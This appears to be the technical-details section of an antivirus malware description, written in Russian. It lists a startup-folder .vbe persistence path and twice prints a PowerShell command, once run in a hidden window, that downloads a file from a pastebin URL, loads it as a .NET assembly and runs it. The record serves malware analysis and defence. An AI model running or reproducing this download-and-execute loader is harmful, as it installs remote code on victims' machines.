Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.vbe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $f='C:\Users\Public\Documents\July.htm';if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f };[System.Reflection.Assembly]::loadfile($f);[WorkArea.Work]::Exe...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $f='C:\Users\Public\Documents\July.htm';if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f };[System.Reflection.Assembly]::loadfile($f);[WorkArea.Work]::Exe...